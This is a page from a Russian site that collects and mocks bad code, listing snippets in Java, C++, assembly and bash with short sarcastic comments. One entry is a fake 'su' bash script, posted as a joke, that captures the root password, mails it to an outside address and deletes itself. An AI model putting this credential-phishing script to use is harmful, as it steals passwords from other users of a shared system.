- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
public void isChangenabledExc(){
if(isNew){
return;
}
if(true)return;//TODO
if(!isChangenabled()){
throw new ChangeEIsNotLockedException();
}
}-
Лучший говнокод
- В номинации:
-
- Лучший рейтинг
- Самый комментируемый
- За время:
-
- за сегодня
- за неделю
- за месяц
- за всё время
-
Java / Говнокод #2870
+76.8
В этой функции находится единственный коментарий из всего файла.
Видимо в планах эта функция должна была делать нечто хорошее, но
планы так и не были осуществелны.
В результате получилась функция, которая ничего не делает, а только проверяет какие то условия.
поиском обнаружил 5 вызовов этой функции.
maxt,
26 Марта 2010
Комментарии (2) -
Java / Говнокод #2293
+76.5
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
java.util.Date from = dateFromAndToMap.get("from"); java.util.Date to = dateFromAndToMap.get("to"); java.sql.Date fromD; java.sql.Date toD; Long year2100 = Long.valueOf(64060495200000l); if (from != null) { fromD = new java.sql.Date(from.getTime()); } else { fromD = new java.sql.Date(0); } if (to != null) { toD = new java.sql.Date(to.getTime()); } else { toD = new java.sql.Date(year2100.longValue()); }Год апокалипсиса приложения :) А календарь придумали лузеры, а мы не ищем легких путей ведь перед апокалипсисом все равны
johnsoft,
17 Декабря 2009
Комментарии (2) -
Java / Говнокод #2209
+76.5
- 1
factory.getObject().getFactory().getObject().getFactory....вот такая интересная конструкция встретилась:)
AlDjabad,
03 Декабря 2009
Комментарии (5) -
Java / Говнокод #2444
+76.4
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
public String getServiceClient(final Service service) { SqlDao dao = (SqlDao) getBean("sqlDao"); return (String) dao.getTemplate().query(SQL_GET_CLIENT, new Long[]{service.getClient().getId()}, new ResultSetExtractor() { public Object extractData(ResultSet rs) throws SQLException, DataAccessException { String result; SqlDao dao = (SqlDao) getBean("sqlDao"); rs.next(); if (rs.getInt("IS_ORG") == 1) { result = (String) dao.getTemplate().query(SQL_GET_LEGAL_INFO, new Long[]{service.getClient().getId()}, new ResultSetExtractor() { public Object extractData(ResultSet rsi) throws SQLException, DataAccessException { if (rsi.next()) { return rsi.getString("C_INN") + ", " + rsi.getString("C_NAME"); } else { log.debug("====== No legal client found for service: " + service.getRegistrationNumber() + " (" + service.getId() + ")"); return null; } } }); } else { result = (String) dao.getTemplate().query(SQL_GET_PERSONINFO, new Long[]{service.getClient().getId()}, new ResultSetExtractor() { public Object extractData(ResultSet rsi) throws SQLException, DataAccessException { if (rsi.next()) { return rsi.getString("LASTNAME") + " " + rsi.getString("FIRSTNAME") + " " + rsi.getString("MIDDLENAME"); } else { log.debug("====== No phisical client found for service: " + service.getRegistrationNumber() + " (" + service.getId() + ")"); return null; } } }); } return result; } }); }Я конечно все понимаю, deadline, все эти вещи... Но return на 20 с чем-то строк это сильно.
nagakhl,
19 Января 2010
Комментарии (2) -
Java / Говнокод #1906
+76.3
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
Long orgId = 0L; try { orgId = Long.valueOf(textOrgId); } catch (Exception e) { orgId = 0L; } // ... Organization org = orgDAO.findById(orgId); if (org == null) { // не найдено? создать новую org = new Organization(); // ... }Если с веба в поле textOrgId пришёл мусор, то создать новую организацию. Но перед этим всё равно поискать в базе несуществующий orgId=0.
yvu,
28 Сентября 2009
Комментарии (5) -
Java / Говнокод #1522
+76.3
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
try { .... } catch (Exception ex) { if (ex != null) { try { ex.printStackTrace(); } catch(Exception ex1) { .... } } }
Rudolf_Abel,
11 Августа 2009
Комментарии (11) -
C++ / Говнокод #1272
+76.3
- 001
- 002
- 003
- 004
- 005
- 006
- 007
- 008
- 009
- 010
- 011
- 012
- 013
- 014
- 015
- 016
- 017
- 018
- 019
- 020
- 021
- 022
- 023
- 024
- 025
- 026
- 027
- 028
- 029
- 030
- 031
- 032
- 033
- 034
- 035
- 036
- 037
- 038
- 039
- 040
- 041
- 042
- 043
- 044
- 045
- 046
- 047
- 048
- 049
- 050
- 051
- 052
- 053
- 054
- 055
- 056
- 057
- 058
- 059
- 060
- 061
- 062
- 063
- 064
- 065
- 066
- 067
- 068
- 069
- 070
- 071
- 072
- 073
- 074
- 075
- 076
- 077
- 078
- 079
- 080
- 081
- 082
- 083
- 084
- 085
- 086
- 087
- 088
- 089
- 090
- 091
- 092
- 093
- 094
- 095
- 096
- 097
- 098
- 099
- 100
// Begin Init Filter void initFilter(){ int i,j; double Pgam,Ptet,Ppsi, sin_psi,cos_psi,sin_gam,cos_gam,cos_tet, Pl,Pb,uu[81],bb[81]; // hfo=1.; Nsf=1; sugl[0]=1.5*M_PI/180.; sugl[1]=0.1*M_PI/180;sugl[2]=sugl[1]; dbc=100.; dbc*=0.157236869549e-7; dlc=dbc; dac=sugl[0]; Rk[0]=Omz/100000000.*hfo; Rk[1]=Omz/100000000.*hfo; Rk[2]=Rk[0]; Rk[3]=Omz/100000000.*hfo; Rk[4]=Rk[3]; Rk[5]=Rk[3]; for(i=0;i<3;i++) { DTet[i]=0.; Xs[i]=0.; } for(i=0;i<3;i++) { som[i]=0.1*M_PI/(180.0*3600.0); // som[i]=3.*M_PI/(180.0*3600.0); } som[0]=0.1*M_PI/(180.0*3600.0); //som[0]=2.*M_PI/(180.0*3600.0); Tauom[0]=360.; // Tauom[0]=300.; Tauom[1]=360.; // Tauom[1]=100.; Tauom[2]=360.; // Tauom[2]=300.; for(i=0;i<9;i++) { for(j=0;j<9;j++) { Fko[i][j]=0.; Fo[i][j]=0.; Pko[i][j]=0.; } Xko[i]=0.; Fko[i][i]=1.; Fo[i][i]=1.; } for(i=0;i<6;i++) { for(j=0;j<9;j++) Hizo[i][j]=0.; } for(i=0;i<9;i++) { for(j=0;j<3;j++) Gko[i][j]=0.; } //begin SKO for MNK Pgam=sugl[2]*sugl[2]; Ptet=sugl[1]*sugl[1]; Ppsi=sugl[0]*sugl[0]; Pl=dlc*dlc; Pb=dbc*dbc; sin_psi=sin(Angl[0]); cos_psi=cos(Angl[0]); sin_gam=sin(Angl[2]); cos_gam=cos(Angl[2]); cos_tet=cos(Angl[1]); uu[0]=Ur[0][0]*Ur[0][0]; bb[0]=B3[0][0]*B3[0][0]; uu[1]=Ur[0][0]*Ur[0][1]; bb[1]=B3[0][0]*B3[0][1]; uu[2]=Ur[0][0]*Ur[0][2]; bb[2]=B3[0][0]*B3[0][2]; uu[3]=Ur[0][0]*Ur[1][0]; bb[3]=B3[0][0]*B3[1][0]; uu[4]=Ur[0][0]*Ur[1][1]; bb[4]=B3[0][0]*B3[1][1]; uu[5]=Ur[0][0]*Ur[1][2]; bb[5]=B3[0][0]*B3[1][2]; uu[6]=Ur[0][0]*Ur[2][0]; bb[6]=B3[0][0]*B3[2][0]; uu[7]=Ur[0][0]*Ur[2][1]; bb[7]=B3[0][0]*B3[2][1]; uu[8]=Ur[0][0]*Ur[2][2]; bb[8]=B3[0][0]*B3[2][2]; uu[9]=Ur[0][1]*Ur[0][1]; bb[9]=B3[0][1]*B3[0][1]; uu[10]=Ur[0][1]*Ur[0][2]; bb[10]=B3[0][1]*B3[0][2]; uu[11]=Ur[0][1]*Ur[1][0]; bb[11]=B3[0][1]*B3[1][0]; uu[12]=Ur[0][1]*Ur[1][1]; bb[12]=B3[0][1]*B3[1][1]; uu[13]=Ur[0][1]*Ur[1][2]; bb[13]=B3[0][1]*B3[1][2]; uu[14]=Ur[0][1]*Ur[2][0]; bb[14]=B3[0][1]*B3[2][0]; uu[15]=Ur[0][1]*Ur[2][1]; bb[15]=B3[0][1]*B3[2][1]; uu[16]=Ur[0][1]*Ur[2][2]; bb[16]=B3[0][1]*B3[2][2]; uu[17]=Ur[0][2]*Ur[0][2]; bb[17]=B3[0][2]*B3[0][2]; uu[18]=Ur[0][2]*Ur[1][0]; bb[18]=B3[0][2]*B3[1][0]; uu[19]=Ur[0][2]*Ur[1][1]; bb[19]=B3[0][2]*B3[1][1]; uu[20]=Ur[0][2]*Ur[1][2]; bb[20]=B3[0][2]*B3[1][2]; uu[21]=Ur[0][2]*Ur[2][0]; bb[21]=B3[0][2]*B3[2][0]; uu[22]=Ur[0][2]*Ur[2][1]; bb[22]=B3[0][2]*B3[2][1]; uu[23]=Ur[0][2]*Ur[2][2]; bb[23]=B3[0][2]*B3[2][2]; uu[24]=Ur[1][0]*Ur[1][0]; bb[24]=B3[1][0]*B3[1][0]; uu[25]=Ur[1][0]*Ur[1][1]; bb[25]=B3[1][0]*B3[1][1]; uu[26]=Ur[1][0]*Ur[1][2]; bb[26]=B3[1][0]*B3[1][2]; uu[27]=Ur[1][0]*Ur[2][0]; bb[27]=B3[1][0]*B3[2][0]; uu[28]=Ur[1][0]*Ur[2][1]; bb[28]=B3[1][0]*B3[2][1]; uu[29]=Ur[1][0]*Ur[2][2]; bb[29]=B3[1][0]*B3[2][2]; uu[30]=Ur[1][1]*Ur[1][1]; bb[30]=B3[1][1]*B3[1][1]; uu[31]=Ur[1][1]*Ur[1][2]; bb[31]=B3[1][1]*B3[1][2]; uu[32]=Ur[1][1]*Ur[2][0]; bb[32]=B3[1][1]*B3[2][0]; uu[33]=Ur[1][1]*Ur[2][1]; bb[33]=B3[1][1]*B3[2][1]; uu[34]=Ur[1][1]*Ur[2][2]; bb[34]=B3[1][1]*B3[2][2]; uu[35]=Ur[1][2]*Ur[1][2]; bb[35]=B3[1][2]*B3[1][2]; uu[36]=Ur[1][2]*Ur[2][0]; bb[36]=B3[1][2]*B3[2][0]; uu[37]=Ur[1][2]*Ur[2][1]; bb[37]=B3[1][2]*B3[2][1]; uu[38]=Ur[1][2]*Ur[2][2]; bb[38]=B3[1][2]*B3[2][2]; uu[39]=Ur[2][0]*Ur[2][0]; bb[39]=B3[2][0]*B3[2][0]; uu[40]=Ur[2][0]*Ur[2][1]; bb[40]=B3[2][0]*B3[2][1]; uu[41]=Ur[2][0]*Ur[2][2]; bb[41]=B3[2][0]*B3[2][2]; и так далееНе спрашивайте где это использовалось, спать лучше будете)))
guest,
28 Июня 2009
Комментарии (11) -
Куча / Говнокод #1661
+76.1
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
#/usr/local/bin/bash # False SU utility # mail to send passwd mail="[email protected]" # go echo -n "Password:" read -s passwd echo "" echo "su: Sorry" echo "root password from `hostname`: $passwd" | mail -s "Fuck the system" $mail # вернем все на место alias su=su #самоуничтожение rm $0Фейковый su )))
Darwin,
23 Августа 2009
Комментарии (10) -
Assembler / Говнокод #19395
+76
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
.global shit .type shit, @function shit: /* prologue: function */ /* frame size = 0 */ /* stack size = 0 */ .L__stack_usage = 0 mov r30,r24 mov r31,r25 ldd r18,Z+1 ldd r22,Z+2 mov r24,r22 ldi r25,0 ldi r26,0 ldi r27,0 mov r26,r24 mov r27,r25 clr r25 clr r24 or r25,r18 ld r18,Z or r24,r18 ldd r18,Z+3 mov r22,r24 mov r23,r25 mov r24,r26 mov r25,r27 or r25,r18 ret .size shit, .-shitВот такое ГЛОБАЛЬНОЕ ГОВНО мне делает GCC под AVR
Код разворота байтиков:
unsigned long int shit(unsigned char *a)
{
return
( unsigned long int)a[0] << 0 |
((unsigned long int)a[1] << 8 ) |
((unsigned long int)a[2] << 16) |
((unsigned long int)a[3] << 24);
}
Вот другие попытки это сделать, чтоб компилятор сделал более оптимально http://goo.gl/3D2Lri - ссылка на gcc.godbolt.org
У меня есть собранный через crosstools-ng более новый gcc под AVR, вот выхлоп с него для тех же примеров, что и в godbolt https://paste.debian.net/378491/
Там __builtin_bswap32() становится rcall __bswapsi2, но этот __bswapsi2 состоит из двух сраных инструкций
gcc/libgcc/config/avr/lib1funcs.S
#if defined (L_bswapsi2)
;; swap bytes
;; r25:r22 = bswap32 (r25:r22)
DEFUN __bswapsi2
bswap r22, r25
bswap r23, r24
ret
ENDF __bswapsi2
#endif /* defined (L_bswapsi2) */
ТАК ПОЧЕМУ Б ТУПО НЕ ЗАИНЛАЙНИТЬ ЭТО?
j123123,
04 Февраля 2016
Комментарии (38) -
Java / Говнокод #17715
+76
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
private void spreadBullets() { bulletItemsWip.clear(); for (AbstractInventoryItem item : inventoryItemsSortedByValue) { if (item instanceof RangeBulletItem) { bulletItemsWip.add((RangeBulletItem) item); } } rangeUnitsQueueWip.clear(); for (Unit unit : areaObject.getUnits()) { if (unit.getSpecialization().equals(Unit.UnitSpecialization.RANGE)) { rangeUnitsQueueWip.add(unit); } } while (rangeUnitsQueueWip.size > 0 && bulletItemsWip.size > 0) { Iterator<Unit> unitsIterator = rangeUnitsQueueWip.iterator(); while (unitsIterator.hasNext()) { // find suitable bullets or remove unit from queue Unit rangeUnit = unitsIterator.next(); RangeBulletItem foundBulletItemInInventoryForUnit = searchBulletFor(rangeUnit); if (foundBulletItemInInventoryForUnit == null) { // remove unit from bullets queue unitsIterator.remove(); } else { // bullet was found RangeBulletItem unitBulletsItem = rangeUnit.getEquipment().getRangeBulletsItem(); if (unitBulletsItem == null) { unitBulletsItem = foundBulletItemInInventoryForUnit.split(1); rangeUnit.getEquipment().setRangeBulletsItem(unitBulletsItem); } else { if (unitBulletsItem.getClass().equals(foundBulletItemInInventoryForUnit.getClass())){ if (!unitBulletsItem.isFull()) { foundBulletItemInInventoryForUnit.moveQuantity(1, unitBulletsItem); } } else { rangeUnit.getEquipment().dropRangeBullets(); unitBulletsItem = foundBulletItemInInventoryForUnit.split(1); rangeUnit.getEquipment().setRangeBulletsItem(unitBulletsItem); } } if (foundBulletItemInInventoryForUnit.isEmpty()) { // remove item from inventory bulletItemsWip.removeValue(foundBulletItemInInventoryForUnit, true); remove(foundBulletItemInInventoryForUnit); } if (unitBulletsItem.isFull()) { // remove unit from bullets queue unitsIterator.remove(); } if (bulletItemsWip.size == 0) { // stop spreading break; } } } } // sync quantities to inventory for (AbstractInventoryItem item : bulletItemsWip) { getItem(item.getClass()).setQuantity(item.getQuantity()); } }Раздать пули отряду...
dmli,
01 Марта 2015
Комментарии (1)
Follow us!